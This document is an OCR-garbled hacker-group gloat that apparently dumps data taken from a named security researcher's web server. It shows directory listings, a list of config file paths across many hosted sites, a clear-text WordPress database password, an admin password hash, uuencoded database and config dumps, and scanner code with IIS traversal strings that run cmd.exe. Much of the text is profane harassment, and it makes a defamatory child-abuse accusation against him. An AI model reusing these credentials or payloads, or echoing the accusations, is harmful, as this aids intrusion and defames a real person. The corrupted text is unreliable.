—rw—r——r—— 1 tommy tommy 3398 Dec 27 2005 sp—x15-advisory.txt
—rw—rw-r—— 1 tommy tommy 4377 Dec 27 2005 sp—x16-advisory.txt
—rw—r——r—— 1 tommy tommy 1427 Sep 25 2005 sp—x17-advisory.txt
—rw—r——r—— 1 tommy tommy 1210 Oct 6 2005 sp—x18-advisory.txt
—rw—r——r—— 1 tommy tommy 851 Oct 6 2005 sp—x19-advisory.txt
—rw—r——r—— 1 root root 1705 Oct 24 2005 sp—x20-advisory.txt
—rw—r——r—— 1 tommy tommy 4460 Dec 22 2005 sp—x21-advisory.txt
—rw—r——r—— 1 tommy tommy 3626 Feb 14 2006 sp—x22—advisory.txt
—rw—r——r—— 1 tommy tommy 1433 Feb 1 2006 sp—x23—advisory.txt
—rw—r——r—— 1 root root 106 Apr 4 2006 sp—x24—-advisory.php
—rw—r——r—— 1 root root 106 Apr 19 2006 sp—x25—-advisory.php
—rw—r——r—— 1 root root 106 Apr 19 2006 sp—x26—advisory.php
—rw—r——r—— 1 root root 106 Apr 19 2006 sp—x27-advisory.php
—rw—r——r—— 1 root root 106 Apr 19 2006 sp—x28-advisory.php
—rw—r——r—— 1 root root 106 Apr 19 2006 sp—x29-advisory.php
—rw—r——r—— 1 root root 106 Apr 20 2006 sp—x30-advisory.php
—rw—r——r—— 1 root root 106 Jun 29 2006 sp—x31-advisory.php
—rw—r——r—— 1 root root 106 Aug 2 2006 sp—x32—advisory.php
—rw—-r——r—— 1 root root 106 Aug 2 2006 sp—x33—advisory.php
—rw—r——r—— 1 root root 106 Oct 4 00:44 sp—x34-advisory.php

TOm pl1z stOp 133k1n Oday tO 4ppl3 shltheadz! JO dOnO j4ck shit!
1nt3g3r Ov3rflowz c4n h4pp3n On jO pupplez! (D34D P3TZ THR34T)

.=====, PANZ3R CHO CHO...

-— |0 |==-

— <+ FUCK YOU TOM FERRIS!
-— __/\

——/__\/__\L3tz sm4zh sOm3 dOgz!1!!!11!
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———|I| ISTEAMTROLLER || | ||
~ — |'=0~.] '-0-.| N3ZT DEFCON: BROK3N BON3Z

= [_IN N1l
\___/YOUR P3TZ YOUR\___/Z YOUR P3TZ YOUR P3TZ YOUR P3TZ

backup:

total 20

drwxr—xr—x 3 root root 4096 Jan 10 12:23 .

drwxr—xr—x 27 root root 4096 Feb 25 19:50 ..

—rw—-r——r—— 1 root root 38 Jan 10 12:23 robots.txt disallow backups!
—rw—r——r—— 1 root root 919 Jan 10 12:22 wp—config.php world readable
drwxr—xr—x 5 root root 4096 Jan 10 12:21 wp—content

robotz.txt prOt3ctz jOO b4ckupz from G00gIO 3y3z. But h4ckOrz can r34d
robOtz.txt :( (Fr33 sysadmln tlpz f00 jOO)

ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT
4d0b3... hOw c4n yOu h1r3 thlz guy? H1z a fuckln d4ng3r t0 jOr 1nfrdztructur3z!
4d0b3... fuckln f1r3 him, w3 h4v3 m4ny fl4zh 0d4yz 4nd PDF xpl01tz!

4d0b3... Tom Ferris wOnt f1x th3m! HEHEHEHEHEHE!

ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT

backup/wp-content:

total 32

drwxr—xr—x 5 root root 4096 Jan 10 12:21 .

drwxr—xr—x 3 root root 4096 Jan 10 12:23 ..

Inwxrwxrwx 1 root root 79 Jan 10 12:21 advanced—cache.php —> ...
drwxr—xr—x 2 root root 4096 Jan 10 12:21 cache

—rw—r——r—— 1 root root 32 Jan 10 12:21 index.php

drwxr—xr—x 7 root root 4096 Jan 10 12:21 plugins

drwxr—xr—x 5 root root 4096 Jan 10 12:21 themes

—rw—-r——r—— 1 root root 1101 Jan 10 12:21 wp—cache—config.php

L3tz s33 th3 c0d3z:

coding/c:

total 16

drwxr—xr—x 2 root root 4096 Jul 12 2005 .

drwxr—xr—x 7 root root 4096 Jul 12 2005 ..

—rw—r——r—— 1 root root 5630 Jul 12 2005 sp-iis—vuln-scan.c

w00t w00t w00t w00t eEye w4r3z? NOT. Z33 L4AM3 ZH1T B3LOW:
(OUR COMM3NTZ AZ "WSLABI")

/* microsoft iis vuln scanner

by: badpack3t <badpack3t@ XXXXXXXXXXXXXXXXXXXXXX>
sp research labs

WWW.security—protocols.com

11.12.2003

*/
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char *strings[80] =

"Imsadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c",
"Iscripts/..%c0%af../winnt/system32/cmd.exe?/c",

int scan_iis(char *t_addr, char *strings|[])

{

int sockfd, count;
struct sockaddr_in target;
char *out, *found, buf[500];

WSLABI: DOnOt initialize varz.
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

target.sin_family = AF_INET;
target.sin_port = htons(80);
target.sin_addr.s_addr = inet_addr(t_addr);

if(connect(sockfd, (struct sockaddr *)&target, sizeof(target)) = 0)
fprintf(stderr, "cant connect to: %s\n", t_addr);

out = (char *)malloc(17);

strepy(out, "HEAD / HTTP/1.0\n\n");
send(sockfd, out, strlen(out), 0);
recv(sockfd, buf, sizeof(buf), 0);
free(out);

WSLABI: HOHOHOOHOHOHO! C4N W3 UZ3 TH1Z FO N3ZT ISS 0D4Y?
close(sockfd);

if(strstr(buf, "Microsoft-I1S ") == NULL) return -1,

for(count = 0; count < 80; count++)

{

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
target.sin_family = AF_INET;

target.sin_port = htons(80);

target.sin_addr.s_addr = inet_addr(t_addr);

if(connect(sockfd, (struct sockaddr *)&target, sizeof(target)) = 0)
fprintf(stderr, "cannot connect to: %s\n", t_addr);

out = (char *)malloc(strlen(strings[count] + 22));

WSLABI: WH4T TH3 FUCKZ? STOP M4ZTURB4TING TO K1DD0O PORN TOM FERRIS.
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strepy(out, "GET ");
WSLABI: L3TZ G3T LOGG3D!

strcat(out, strings[count]);
strcat(out, "+dir HTTP/1.0\r\n\r\n");
send(sockfd, out, strlen(out), 0);
recv(sockfd, buf, sizeof(buf), 0);

WSLABI: HOHOHOHOHOHO SIZEOF(BUF): TOM FERRIS DOZ NOT R34AD MAN PAGEZ!
WSLABI: Z33: man rm, man recv, man stfu

if(strstr(buf, "200") = NULL)
{

log_t(t_addr, strings[count]);
return O;

}

}

free(out);
close(sockfd);
return O;

}

TOM FERRIS, SANTA 1Z BRING1ING JO0 CODING FO DUMM13Z TH1Z CHR1ZMA4Z.
3NJOY TH3 R34D! (CH3CK /ROOT D1R3CTORY PL1Z, 4ND RM JOO K3RN3L).

ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT
ALERT

NOT3: JUZT B3CUZ YOU H4V3 NO XPLO1TZ FO TH3 LAT3ZT K3RN3L SH1TZ, DOZ NOT M33N
W3 DONT H4V K3RN3L.ORG OWN3D T0 D347H L1K3 V3NDOR-Z3C

ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT
ALERT

# find /varlwww —name "*config*.php'
Ivar/www/worldofwarcraft2.com/config.inc.php
Ivar/www/whosonbebo.com/config.inc.php
Ivar/www/zunewallpapers.net/wp—config.php
Ivar/www/zunewallpapers.net/wp—admin/setup—config.php
Ivar/www/zunewallpapers.net/wp—config—sample.php
Ivarlwww/a727.com/sqglz/config.sample.inc.php
Ivarlwww/a727.com/sqlz/show_config_errors.php
Ivarlwww/a727.com/sqlz/config.inc.php
Ivar/www/a727.com/sqglz/libraries/db_config.lib.php
Ivarlwww/a727.com/sqlz/libraries/auth/config.auth.lib.php
Ivarlwww/a727.com/sqglz/libraries/config.default.php
Ivarlwww/faceboxskins.com/config.inc.php
Ivar/www/vintagerazors.com/config.php
Ivar/www/wiiwallpapers.com/config.inc.php
Ivar/www/sacbars.com/config.inc.php
Ivar/www/t629.com/config.inc.php
Ivar/www/sexypspdownloads.com/config.php
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Ivar/www/themeiphone.com/config.php
Ivar/www/themeiphone.com/plugins/sef_urls/configuration.php
Ivar/www/themeiphone.com/plugins/sample/configuration.php
Ivar/www/themeiphone.com/include/config.inc.php
Ivar/www/pearl8800.com/config.inc.php
Ivar/www/pspbackrounds.com/config.inc.php
Ivar/www/usedvespas.net/config.php

Ivar/www/ceocigars.com/config.inc.php
Ivar/www/bebounblocked.com/config.php

Ivar/www/evilryu.com/config.inc.php

Ivar/www/blogtop100.com/config.inc.php
Ivar/www/twitterskins.com/config.inc.php
Ivar/www/pspsites.com/config.inc.php
Ivar/www/security—protocols.com/store/config.php
Ivar/www/security—protocols.com/amazon/script/config.php
Ivar/www/security—protocols.com/wp-includes/js/tinymce/plugins/spellc....
Ivar/www/security—protocols.com/wp—-includes/js/tinymce/tiny_mce_config.php
Ivar/www/security—protocols.com/wp-config.php
Ivar/www/security—protocols.com/wp—admin/setup—config.php
Ivar/www/security—protocols.com/wp—config—sample.php
Ivar/www/security—protocols.com/backup/wp-config.php
Ivar/www/security—protocols.com/backup/wp-content/plugins/wp—cache/wp-cac....
Ivar/www/security—protocols.com/backup/wp-content/wp—cache—config.php
Ivar/www/security—protocols.com/wp-content/plugins/wp-cache/wp-cache—c....
Ivar/www/security—protocols.com/wp-content/wp—cache—config.php
Ivar/www/i580.net/config.inc.php

Ivar/www/v9500.com/config.inc.php

Ivar/www/8710c.com/config.inc.php

Ivar/www/yourpsp.us/config.inc.php

Ivar/www/accessoryps3.com/config.php

Th4nkz. HOw much t1m3 d0z 1t t4k3 t0 ch4ng3 4ll thOz p4zzwOrdz? For Tom Ferris...
5 minutes! (th4nkz t0 s4m3 p4zwOrd fOr 3v3rythlng pOllcy)
(H3 ZT1LL N33DZ TO R34D SED M4N P4GEZ, 4ND UND3RZT4ND TH3M!)

Il ** MySQL settings ** //

define('DB_NAME', 'zunewallpapers");
define('DB_USER', 'zunewallpapers");
define('DB_PASSWORD', 'PuU4DGrYwWJRHUFPS");
define('DB_HOST', 'localhost');

COOL ZUN3 WALLP4P3RZ! G3TZ M4NY MON3YZ FROM W3B ADZ? 4DZENZE B4NN3D YOU? :)
(IT W4ZN'T UZ! BUT THOZ FUCK1N BLOGG3RZ R GO1N FUCK1IN DOWN W1TH TH31R ADZ
HOHOHOHOHOHO!) ADSENSE BAN! ADSENSE BAN! ADSENSE BAN! ADSENSE BAN! HOHOHOHO!

#ls -/

total 202

drwxr—xr—x 3 root root 4096 Nov 14 12:47 backups

drwxr—xr—x 2 root root 4096 Jan 2 04:03 bin

drwxr—xr—x 4 root root 1024 Feb 25 14:04 boot

—rw—r——r—— 1 root root 370 Jul 27 2004 client—config—overrides.txt
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—rw—r——r—— 1 root root 7746 Dec 8 2004 client_config_update.py
drwxr—xr—x 10 root root 5360 Feb 25 14:07 dev
drwxr—xr—x 77 root root 12288 Feb 25 14:07 etc
drwxr—xr—x 3 root root 4096 Nov 10 12:34 home
drwxr—xr—x 2 root root 4096 Aug 12 2004 initrd
drwxr—xr—x 11 root root 4096 Feb 25 14:03 lib
drwx—————— 2 root root 16384 Nov 10 12:06 lost+found
drwxr—xr—x 4 root root 4096 Feb 25 14:07 media
drwxr—xr—x 2 root root 4096 Jul 11 2006 misc
drwxr—xr—x 2 root root 4096 Aug 12 2004 mnt
drwxr—xr—x 2 root root 4096 Aug 12 2004 opt
dr—xr—xr—x 129 root root 0 Feb 25 08:06 proc
—rw—r——r—— 1 root root 1369 Jun 28 2004 public_key.txt
drwxr—x——-— 9 root root 4096 Feb 25 19:48 root
drwxr—xr—x 2 root root 12288 Feb 25 14:04 sbhin
drwxr—xr—x 2 root root 4096 Nov 10 12:06 selinux
drwxr—xr—x 2 root root 4096 Aug 12 2004 srv
drwxr—xr—x 9 root root O Feb 25 08:06 sys

drwxr—xr—x 3 root root 4096 Nov 10 12:12 tftpboot
drwxrwxrwt 4 root root 4096 Feb 25 21:09 tmp
drwxr—xr—x 17 root root 4096 Nov 10 12:19 usr
drwxr—xr—x 22 root root 4096 Nov 10 12:12 var

N1C3 Z3LINUZ! D0O3Z 1T BLOCK K3RNOL XPLO1TZ? NOT. LOLZ!

# Is —I /backups

total 974172

—rw-r——r—— 1 tommy tommy 996567040 Nov 13 18:11 secpro.tar
drwxr—xr—x 31 root root 4096 Nov 13 18:06 security—protocols.com

TOM FERRIS: MAN CHMOD, MAN CHOWN, MAN RM, MAN EXIT, MAN MAN. 1TZ T1IM3 FO

begin 644 tomferris—secprotocols.sql.bz2

MOEIH.3%!629367?M7D20 " J/_@$ 0 ")(Y__z? 8/ I@#M\Z;>U'/N6

M%'H " %SJ2NYQLHMCE[UXZ T /0=#1#0(——!&$&IJ?J!-1IIH#U--#33:0>4
M(F)H"4(H-!ID#U"&CO " 1$TU,% T: " #$ " :>DD)IJC$/4\ID],H_

M3*GZ4 "R#0 "BE/2:1IY$R-1J:,3)Z0:&$TTR-#TF@::>B!%(1D$R3)A-,4U
M3P4>2#U- AllIZAH>HIG_C[6_6N9E"XX[,)="TUQ=/LN"BXBJ1"Q B(?N

MAM :R$&OATV,EYT[$I=2.7:U93)WP5%:&$HCJI.P6E*2E+&+%(CLA*ZYT(P"
MI<C:@127,%/C1'9'% 8A'8A:RD@,0@,0@,0@,0@,0@—/V(#]?+E$D(""
M7&RZG>@@0!?U(:_,_C_FW]_+Y8 3P913Y*N\S\V;MH8[;EPNT?Y&'UR_?
M/;;=00\" @80=Q"\1/"?0X*"@B0*)JWV$2EH$C@=;%M%C:MESFFY?Y;38]=*4]
MS$L2E:*TZT4$5?)0O<VV+,Q<0 +LVX;1TIHN-(B("">\P1F4]DUAPGMRZDLUUS8
M999:-7"N'/V]Q>,0),*G>5%# @J<G&<I:1@4!"G Q2BT2A3'[H<D1>2=DFMX
MUYLE-OKX]LFJHY.MW261=YI+HW"OU6[U:-RKNM 99**Z%WZL50W/H1E."F_
M@H--M27+M2_%%U/4)5Z7#/=FYQ]1TV[(RDQ*[D)Z8WN<Y5+KO3+'7N7\##7;
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MH@-D>M">6"0@54905'J;:_;P6FF(29%"8( @6,,2A-, (" (2"#1VEQ>;=LU
MIFM9.-M&L76,?9P2WJZKINRR*5TD&T_UO*<X0936. VY)C-1*F] S"[4%83$Y
MP%8\8-D#4KA$5@ZY1@2G6V-4'KUB&E*BA\GPM\IM)8>;*32""./I+FHM[TJ
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MI"\MEP""&1(>E8E,15)"XY7A3 >0\=B;M6G;PB'#C]I7@0(%49TD/ZM 6"1
M$;6$?0/2WO-OAO0-EYA@2M;INX&=;RO'K(G($WVRIUSN*E3UU?KV8OY!QY[-[
MF8/1ZW<J\"|IIUN'F&#0>T6\G2AB8#<S'TWO+HO<9EXO!ILN7G(-D) B(C"Y%
M[CKP>[X\C[LIKS1"K#Y)IJNWKD"%1!)F8T:(H6$+") IMQD "2ETHG>+VQ;?
MIV"FB<"J$3$I;8E+@$D\,BG &XL F'K3Z@/-0<=]655X1A8 59NH,RM="PP$R
MMT,X/STRK6R5M<\-0O7U%)6;KX"4IJSM6S>YIRS<YIZ75TQ\2AVT#J43>;]A]
MA@ .HOF]4]G+0"A:)&T=2K9IFQD#L+CI\"B7EG\")60+D_KND#>KLCF.:Z>PO

M$ G5KC:Q=4FW=[WO%RX9&0'Q_@O[!E]O>5<VTQ;Y-W-WR5%E+&. A(E-IQV6"
MC;NO.!UL1.&4T[=<23\H=HF_.OMU)W@IPME3E4F#,J1I@+IJN==QRK["=@ZB
M=7ZY*A748!DB\)R,UE]A08%$(@/8X7&&VA#R (JU>*A8-.=.QF.,UXQP4[UY @
MB4.D+2BKQXN;9% SDS"7STWU%ZFPR"H,(&">3;S>KG2Q1E80TO; THW 7(>=
M'FB$YJ4#VG\I0+D#I14DTO>+6L%_ "O?5=T\;O#:+'&SS;HUXZ*8[)V6(8%$
MDURZ"L$DB#0(L#0OU3SNFKC]T1 0A[O'4=8H_)'C@3$D7GI0'&UNERNP 08A'$
MADS7#P;3(6"V*$\7"@RWO0<RG$M,8ZHZ.M$];R3P0.HUQ8-"97#6[W8%8BX+K
M22(AA+K)FI0-%S<ZV[YW(<?@/*W3CAER$+Z-U7-PT%R8.5#8A+D?%;6E2:WS
M5:HTO2H&"56)TP4(1SE*B%$<Y,CEXV0OD0J&>:<8Y.C:<'P@U!N-IA5N<7QJ,
M;0K;)PE",UX$FCY-]S:G-,)E4QI#(K2'%PZIAQ,7 X' 2B#\/,[57$4&$W\.O
M>,;C2l/&[*@XX*—<-9(%Q0J14<C$5SM71G%,6 SAWAQ;J?0#[P 07'0APA"!
MB8C\TH'@V4*1F&" A1S4L"3"A*1LD.[PLBQ 8F$HT("$IR[R301HIOR4*DJ[N(

M %" CX]FVOT7:?A1KV,; 7;IV:Z]?+BW;VP6Z*=&S]E/@8DB]OBR"N79U])/W]QX
MOX@WL\H#,G;3-V\9\%AA,!18<7\\.IF5IH:?3J=_=)I5,B' """ Z19WE'6K _
M:NBT<>=0=\C3\7:;D'RO'O@$C'VFX3QU@WJ:(#<1HIE:/Z-&R6L.(2Q0>X0O+
M$!D34+C(@/R)(&[R#?_W&E&QF@/P)X#-";W/% " >;B7$S0X7(#(2FR\QJH.*60
M&ODZEZ\)>7Q&YM @\UJ@]$@CL"# (IM@$&D"#PI#RTS&W-USTFZ7UI9* UE
M :H#="9H#-":(#>@-Z P@.0S$& %"(142]K7X;S$S&/KGZVYZ]=M.@KD"W5@
M,730?K>SN6*G $D5.RG!_—,A?# M[KI-?%QE6U?) N+YAA;%T53QORD4Y!1>
M)>\H_H<;/<-Z[)W,=]G5:!Z’ @"RAOF2'7 P*6L.SZ92ML?NDVK—-2D;("97ED,
M2I™(P*_F7D_,NF"#/04J01'WLYM N6][16&],X"\V78-TKE]B]9 ALH7%G
M—:OF(-NIWH(/"X,Al[(>V5X@TSD\-0$-"A][N@>FIK3M7MNOWX>R7LMEZ ?&N#
M?YOTWRO3Y#?24[T7+T T25% *P]-Z_"P_'[V_6YDSN@!1.KM'M:=0.M26"N
MY:E["'<VO;\P..A:E65P.0<$°Y8;.Z++?79QSLMAE<P,X(%07%EK"-.;FB-
M3$<-)?W_1@H+,/C,MK#>W$.@$%$. )H.M5>8T,3.QX.3?D")L>IU,%1L;4CK+0

MO!7 1A+W' <R)LLB=>1\0&J B5Q?J@,B(/H8#1X('G$A;">=ZVIC"[)2E-W(
M>6)MR@RC+?1%@S:TQOR"KUUKH)KDM$HI5!KPO)&*FAC+OUOPV*T.D&3#6+8
M5E3W@  @".U///=1\L"8=L]>85#3[Q!"4XL4.9Q">MO<U*A/W=>_L]/K6L
M8J8_10J>9#>TM-*I$" <7\&*8KIW#-%G1!'ZX.6CSUU=&N 7S<U\+)&,1WE

MB 0!631%TG=0S JVG4&B$Y3PE;6CRY7KISR!"%<R"9>L&V1/,8N9ZRTC4P88
M46XT-N\*O.;\AS&!0=\C,"?7U>PPG((/'=<Z@8G ?$&,=W!."G<Q%)Y/$((/H
M$&W6E>R*#I@]-@9F#IH*LI93'H.X)11[27 <@$M(J;]9D969F =B(2BD6>1
M&G!DXOEOQ;G+?R.E-LUX]PIX\<W!5UM]33UG1:"M6=9"W<9Q\,:>P!I"TUMJ
MC&F'BF2Y[-P#13;7<EJOLXN=:MBINJULNM+A0Q@"OLF.I$QFM2HCU]GU7.5
MSMI&L'MF(,W2<2$[S96;B-V<"'8: ET8381&X";CO*$P:7PXA0+@J8W!0(:>
MK2<MKEH[0G-$<O1D$N0>\ V6-SPIL>PNT*=L5I$"IN)N!,QO5L]@I$II<(F;
M*+3(@"[U*"TAKM$[X_7'&8@X$-YF(,]H7B#I<7B#.(B(W)SM$$=7R#Q?)D<_
M%#FA,.SPOHSR=@Z_&"<I;,NK8.7%U;WFH/+N&]"'C/N'. " E?&8G*<01&Z'
M?"-TO@,(#1"HU)O/B'X<1!1ZO2NFIA24[L@\A\\*[4)VQQ?1@W@ CF9=0H:F3H
M[G>A-12$""$N+/;I<<P::B#6Z,8B(ON9] *Q<"#*+%X>I<:3+28,[.3L-],
MNF>WO\I2I<HDELT4EM310E " E"B8FD=5D)#"""<7T;R"VON[&32LS@KNIM@

MS;MT!D(-X2=A6WW%"9X8DBZ@1U+HDQ6VWB08;:<)QQGSO[=3H3"9"TMP-WR.

M.SH*-T]7P#,-#","GCZS=M*'=U$&-P>)!PO9:MI"#0(]X39-SU O/LN/3<DJ
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M@V+TOL7$X)B"#NK4)9AN< *C40=/)CP$'PM70,VV"%JIRU(($'IN?HX!@V-N$
MR;8.%]D%QY84:<P>Q3IKL[UVP2@xXXXXX*<MOV$';C" PH."#ID[TL&KN>9%
M3MI[_IC[MB("Y'5=/=PKD"@'CV*~:1;EUV7+L-MH@QDLJIV7"#,*I//(GYB#A
M*\08=8=+8(75=D2)4_?FYM\'CQ6!'W95VW,8A7&5TX$&SR$&&VEC*:<;V54R
M#+;V;CIV+#0+"#>9" [MSKPISRLA>=/*NTY"#]YO-X@ P$$&B@ZN7@ 5#F
MOB[Q!Y7W!)"_AP]V=$SU$JTYR F8" "\"JV+2LE\S +$T[LAD")AS
E2KQG$G9I=(0](:88,7<6:0V8;1*:$_)D&])?_%W)%.%"0 U>1)"

end

ZAMPL3:

INSERT INTO "wp_users” ('ID’, "user_login’, "user_pass’, "user_nicename’,
‘user_email’, "user_url’, "user_registered’, "user_activation_key",

‘user_status’, “display_name’) VALUES ('1', 'admin’,
'‘a0d24c32db51dd4ee5604a80a8d7fd74', 'admin', 'tommy@ XXXXXXXXXXXXXXXXXXXXXX',
'http://security—protocols.com’, '2006-11-13 20:05:06', ", '0', 'Tom Ferris");

H1Z 4P4ACH3 CONF1G FOR ZUP3R SYSADMIN T1PZ:

begin 644 tomferris—httpd.conf.bz2

MOEIH.3%!629362$\Y P &#/? @'X0>0? 8H##@48;3Y]VXIWV
M[WW3N[E'HHAWL".@"Z";/OGW/GMSFU[G<5U,OE;[L;?6Y]VYU.NJ[G.NSEJ
MG/H\2],1=:[9414Z[B;?>@H=."7TH#WL50.<]9-BS-K8-5?>\X]+TT@I|=M4F
MS?,"UONVLK::S;9JH, IK+1;YX"3V['/9AWHS8Z>L;>[<J;;)6;<@—-$"",)D

ML C$TGB)@1Y,J8)I1Z:0T&]4P-&H U/0"":028*83%3]32———&TFFFO™ ™

M #3"04T")IHT_5#1Z11D#U,AB#0 " —"":"32B""'-—=3"$TU)X32>5& 5&lI
MAJ;T3(::NA&F)HT")* FOIX31J9JD]J;(3)M4S34\1Y1D:",0R&F0™:"1$

M$ @"1&30F335/RJ?C1)/U/4VB>E&C)Z0/U0 &1% EQ"(@"#9]E/X?Y_K\,?Y
M-+X,0.8W_9"D*(30JP.<*MI+\_;&?\L"TC]G_I"&%OPK42048[/=">"J%L&
MFH5"*O(UFG*JI'H@J(@ZXS3+>,UL4IMY,T7U&;O5PGEIQ5WQ<D50&44/ SD
MA.!Z62LMJIBQ-:$Y;\&U+)(8AHA$5D%BPTI8*$>%K(+%ABFO/_+COVSQOLJ[IE
MFCP3PZU##*@BL/QLH@*>+"IJBBR/IO3IGFF$B,PTUWY9#*(F& ;9HFN21Z)S3
M=XM1YYN7S3B.R&VE:T#_ID"=AYITOU:>7:Q]/C-0O'S +Y>7/<RG;FY[=7X
MYJ9#.>R]30"4R;*,DGY8H8N-T7WIV&"(MBH'GC\+R\:0K)XH==:9?)#XL\,F
MF#SZ7(Q19EG-UWVP\O MP;)*[L4-]<815:)30L_68HGA2H#R::I,LF$4="?_7
M#EK;N;0%Z:,_ "J.UTV>P0)ONJKVL7/G\D8AH2"5;2?" . TIW7V)L)>/1A%
M$\[6]O-\\I;3QD]LH&C(077HPO;/@V%_#>=,:TA".O\W$'?)0". T'O8*>&1.#
M"%%OO0HL()"A.;AY7<ITO$QIHMHN,65$?F=0/926\J3Z[0X " KWK]Y0,4C<=3
M#,B&@UVB. J@*[=_Z25SQP!"01(Q148B(LG PL'TUN'R.T]7N:A 2 2 00&(

M12 YO+5/T/UN<>DNEG_=\>V" 1" 1G9'S3DN7 ENO<GA\\WPG]7N[<NS%-KZ_*
M>SM%A7EHT8I]/0"ZB!63"$I,5MOZ5MI\,8W/47UFTD=B@4X0E1[) /Y9[3Z0O
M;'U2SU8[,"'K>;):DF:0D(9283_HSX]CI|GIY/OY'#A905C4PU>/+?WE%S$I
MBBB; @<)>2) 4%&,D@ @BA(,(K!8,22"Q)#8DAC?AIOD7_#]OR[N?/7N]_>9E#
M9:-L&2G25™"S]/3&>>?Z92E*412EB%M 4JJ7 #S52Y ?6RA &) 2P#,/9G-3M&
MV]58&1\R21JGWHLEON!#L"'A8P8>3@_H4<C#_ Q83\JS'M/WO\1PNS$PZ!P$T7
MY ET&G @XXXXXXXXX>RM"GRM(Q)!TL&AG#Y:",[(5/DL?85G.CP<("#"K%HF%D
M5%"&31+S/IIW"M-7A1D%_()83;YH@"A3[*@B[Q74X*?7UL-"2K&[-X\TIZ)X
M[9K:XT\J/C1A[-/0*ZNRAFHGJI??#T\?*@$UE]4KSKB@%F&J$\|3P61;D=/J
M<+:>6",34U2=[N?-W-3"AF\LOLA-ZIANY;05P=0OB1S\E>_8Y7/W39\L[-/@
M1,DAATT7HN. &"19%/=.,MK1C<#I0>4E" ;DSFRI!S5GT(5DT *\AK60O9QAM
M3Z%J9/9W<I1%A4,1P-18TE2I"EY7MHIVTO$]C_B%D<1G7_*.0\:9<X]_$L%O;
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M,C?$"/6(Z;N.):N=T8/8<PF4Z8E)S[703D]N<KW=1<%C#X.IFW+E+QR\$ZP
M>/"\7E'G1O]HJI"+6[(1I$L040"S)Z,%>45>ZD—(%, Y SC*H%5*X;)GS&CH#MDI
M1/CK49+/0S#7X!121:5QTW5S8IN72VC8IGL)[5V(4 4W;U(P.(*ATD)@%0=:R
MB*/<.$V? TRALMC%4MW'4]KI8=-2"R>#"02"PQ]MY[HC5E60PGD5*%6CJIFSN
M$P*#$1@6.,7"86LFCTYBWQ—;A*R%Q";'W/D3)10;>:=H%\USG2!*%QK<—'7C
M$]6#$:4;RAY;L]IS4&+K<W16:[Q%X2/=.%BRWLE"8FX@,B92LD_M.R"4
MR2C?D\_5KR=E1>XO[4A62(\%(2UR(IC(S6.HV38!\; KL% L(*W5F99V;&"6)
M4=$6PA#/M BO>0:\' BAK#ETW—+]J#JIR-T/TRW4&"$QA&:=>]'IT((U*W>C/
M(Z<M/@_$"CX*V(ZI4B55TIR>X!"$_$A2%$,6X>C#;OE,+>2\IWY5J&#)=SY,
M%1ZU.[7(D8](<LOP, (DO =#.,.D@"5<5>0-687,KZ*SST]I7-X*X+A:K "\ —
M-CIXKMYBVDXZ".1@HO'KAN"%VDBBC+*=W\9(X<2: @CJIG2H4==775(,$K8IQ
MS][+2>#;B>/EZOP>X]+>0.0P1/GZ@XE=M_(?3K!S,@\$#WC=72JQ.C4'GH#OK
MHO3*R\&"%TBGP'JOC6%C:?,VAJ7?.EBQ)[@E4'MY;U?#==]EOQ;H [)9F (A
M=+Q-R5PI0GQ"AU+H[;6V56-NRX7QU=D9IM>+5 28 @E"3YP+ESS.0A6U' @%DY][
M5[4045CO**@8QG]PP7#1'VGSI'K?3YR'&"?)HMOX/PQ=7A=AW&"<70C!'D
M30SJ6Q" @I5N@7A"%U,)"15:=SI06[W;NP7![;BDIY>?$IXI[S\X2112JUWT
MWP*<?2_7N\I=YS.0G_I,60@N!HJ)% XA(.%RJIJUIH#T>-FOHTB4)X2MSVPCJIP
MC(P<)@SW:2&F]?2"JH3KFVWN5IK<#'0EU><=5;03GZDS7A<$UZIX7I-(K&I$
M]%@!KGW)IOHUM<3K\[/S:CI*R@XO#6C—F,H@) 9P<V3/Q[<_:XC/R6[,PWPU
M3V7Y.\>LEM!IO*87J$*:65/" F%T:~I#RA5ILOH@63QY4I#HNL7V]LG%:;CC
MYOKP1_+<"K#'1.YXG,8I/IQ)/;XKW+<%S$E+HFD2TP@<H&(RL1A EX@K$JI?*Z
MP<0)44J4($=X0$.%>EC<AW#VL2WM0$J1IWRWC=QDV[IE6QS?6WCZ+;PWWK<CI
MU!.5'<V3N\CMF554*DDKQ:PST#Z*1+,VH\HO$0A/90U; Z""11>W<,;=,~+C!
MYNA[*Q%[90#&@EJ5 ) YRNM=\MSCJIH%K#8[QUE%[+&@1QU7$]1"_2-@J).DZD
M/A%E,A7(6P)’XC@CTU?TV%XOF%0)U)(0$[.5;/2&4?"Q,>*6P1E_LE'(3]_H
MUMD,6B,H*0/P@L$I'4+$I6A>C.J& INABQ:('Q+59XCK#JI1]SE HI_M9"&"
MOP[GP("3)11Q["F_W\X.1)2$IM*S:5KZFN[2)I>+LUIMY>X3FC%>.EU*Y/N
M5\>:<, @B8"#+&R=/9V=YYO7")IL4ACW!"=8CB3D@!SO!L2ACI*¥#O=NN#X;0
MT2[=7?B!@:!B.[R&YZ)&>T/+1TVM>JL_0:\GZ]:Q][/:!Y]S$>U+5CCNK7N5
M_,=[<K:(902357=2.1-SU"=UP@"2$2992->@TA85[D_L.#9INZ8!IYL-H/OV' @
MB;KZ2$U$ ;\"~/D<M(X;L#>[U\66(5ZS$7A_762JF.<BL>O1YT/6$.*.OUIT
M;A(OP%&@H" 6MADA?X FDZ]T-WAI2W9M[ZASB>ULL-Q'T|$0/;;2MG 11ZX#
M+X;R5GH@V2;/Q2@@$B4";0(I_U@OIT/$\>"Y Y +64MIX79KOD$—-%U;*]2*
MW!G6(9ZD2CAL1A8S(9ZU3SUQ;FHXER;*9(.8J0EM1.=1QK,/=""VE@'EJOQL
MWWNA7=>-INIQGA+8D3?$Q$9&$$MI?CQF6Y)WQQHGG, Z2K+P6S_SI6UNAAL>
M!=0;J[ MFA7G/@PI5GG(=$YIEBLUJT4AA@*F\WQD,KNN(I<YFZVM#)4*H2*MX
M'QKL%'UI.#<.%&&P.RARSJ.520>5_/B3."@>J(0<3D??05YU<(R#A-Y@:Y1Q
